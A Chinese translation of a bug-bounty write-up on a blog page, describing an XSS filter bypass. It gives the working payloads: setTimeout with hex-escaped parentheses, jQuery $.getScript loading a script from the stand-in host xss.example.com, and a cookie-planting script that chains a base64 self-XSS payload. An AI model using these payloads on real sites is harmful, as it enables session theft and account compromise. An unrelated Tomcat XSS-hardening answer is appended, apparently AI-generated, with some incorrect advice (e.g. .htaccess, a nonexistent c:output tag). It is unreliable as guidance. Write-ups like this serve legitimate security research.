从Self-XSS到可利用的xss

翻译自:https://medium.com/@0xHyde/cookie-based-self-xss-to-good-xss-d0d1ca16dd0e
翻译:聂心明

上个月我收到来自Synack团队的私有赏金任务,最后我在网站中发现了一个反射型xss。因为这是私有赏金任务,我不能在writeup中提到目标的信息。但是我会演示我是怎样绕过各种限制的。我最后得到了$272,因为我没有证明我能访问dom对象。因为网站限制了圆括号,所以我不能访问到dom,并且我不能执行像下面这样的payload:

alert(document.domain)

正常情况下,上面的JavaScript代码执行后会有下面截图中的效果

alert`document.domain` 

因为圆括号被过滤,我就用`字符来执行我的函数。不幸的是,当下面的函数被执行的时候,你不会访问dom资源。下面的截图是一个简单的例子。

我提交了这个报告,并且获得了$272,可是如果我告诉他们我能实现dom的访问,我就能额外获得一份赏金,所以很自然我开始了这一项挑战。我跟Brutelogic (Brute)说了这件事,然后向他咨询了一些绕过技术,然后他告诉我可以参考他的xss备忘录。当我学习他的文档时,我发现下面的这段payload:

setTimeout`alert\x28document.domain\x29`

这个payload能够实现我需要的效果,就是随意访问dom。我重新提交了新的payload,这个payload展示了我可以随意访问网页的dom资源,然后我获得了额外的60块钱。但是我没有就此停手。早些时候,我在漏洞收取范围内的子域名下发现一个Self-XSS。cookie中有一个被base64编码了的参数,这个参数可导致xss。典型的基于cookie的xss,但是它没法被利用,除非攻击者能给客户浏览器设置cookie。幸运的是,我现在手上有一个xss了,就是我上面提到的。可是我的payload不能太长,否则就会失败。我知道,如果我想执行一些有攻击力的payload的话,那我必须嵌入外部的JavaScript文件,因为即使是最简单的payload都会因为太长而不会执行成功。我也似乎不能嵌入包含payload的外部JavaScript文件,以用来设置cookie的属性。因为它还是太长了。但是,我注意漏洞页面用了jQuery,这就可以让我用一些足够短的语句来嵌入脚本文件。下面是我用到的代码:

$.getScript`//xss.example.com/xss.js`

现在,我只需要用JavaScript代码把payload base64编码,然后放入cookie中的那个有漏洞的参数中就可以了。下面就是我用到的代码:

$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
function setCookieRedir(){
        document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
	window.location = "https://example.com/vulnerablePage.html";
}

上面的代码会把网页的上半部分文本替换成”点击下面这个按钮就可以继续“,下面会带有一个按钮。当受害者点击这个按钮时,js代码就会设置那个有漏洞的cookie参数为下面的字符串

LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v

上面的字符串经过base64解码之后就是下面的代码,它就会在有漏洞的页面上弹窗

--></script><script>alert(document.domain);//

最后,我想这是一个非常有趣的漏洞利用过程,当我不断的尝试绕过时,我也感受到了非常多的乐趣。最后,我因为把Self-XSS变成了可利用的xss,我获得了$616,此外,我还因为上文提到的漏洞利用链获得了$272 + $60的赏金。

Tomcat 是一个开源的 Java Servlet 和 JSP 容器,用于运行 Java Web 应用程序。默认情况下,它提供了基本的安全保护措施,包括对跨站脚本攻击 (XSS) 的防护。如果需要进一步提高 XSS 防护,你可以调整一些配置参数来增强安全性。以下是一些方法: 1. **`<%@ page encoding="UTF-8" %>`**: 在 JSP 文件的顶部添加此声明,确保页面编码为 UTF-8,这样可以防止一些字符转义问题。 2. **`<c:output htmlEscape="true">`**: 使用 JSTL `<c:output>` 标签的 `htmlEscape` 属性,使所有输出到 HTML 的文本都被转义,以避免恶意脚本注入。 3. **`.htaccess` 文件**:在 Tomcat 的部署目录下创建一个 `.htaccess` 文件,使用 `Header set Content-Security-Policy "default-src 'self'` 来限制内容来源。 4. **XML 格式配置**:在 `server.xml` 中的 `<Connector>` 标签内,可以设置 `xpoweredBy="false"` 隐藏服务器版本信息,减少被攻击利用的机会。 5. **`org.apache.tomcat.util.http.ServerCookie` 类**:在处理 Cookie 时,使用这个类的 `setHttpOnly(true)` 方法,使 Cookie 只能通过 HTTP 协议访问,防止 JavaScript 访问。 6. **启用 CSP(Content Security Policy)**:在 web.xml 或 deployment descriptor 中启用 CSP,定义一个严格的策略来限制资源加载。 7. **升级依赖**:保持第三方库的版本更新,有些库可能已针对 XSS 攻击发布了安全补丁。 尽管以上步骤可以帮助提高防护,但最好的做法还是结合前端验证和后端逻辑检查,形成多层次的安全防护体系。如果你具体遇到了某个问题,或者想要了解如何根据最新的 Tomcat 版本进行配置,请提供更多信息,以便我能给出更精确的建议。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值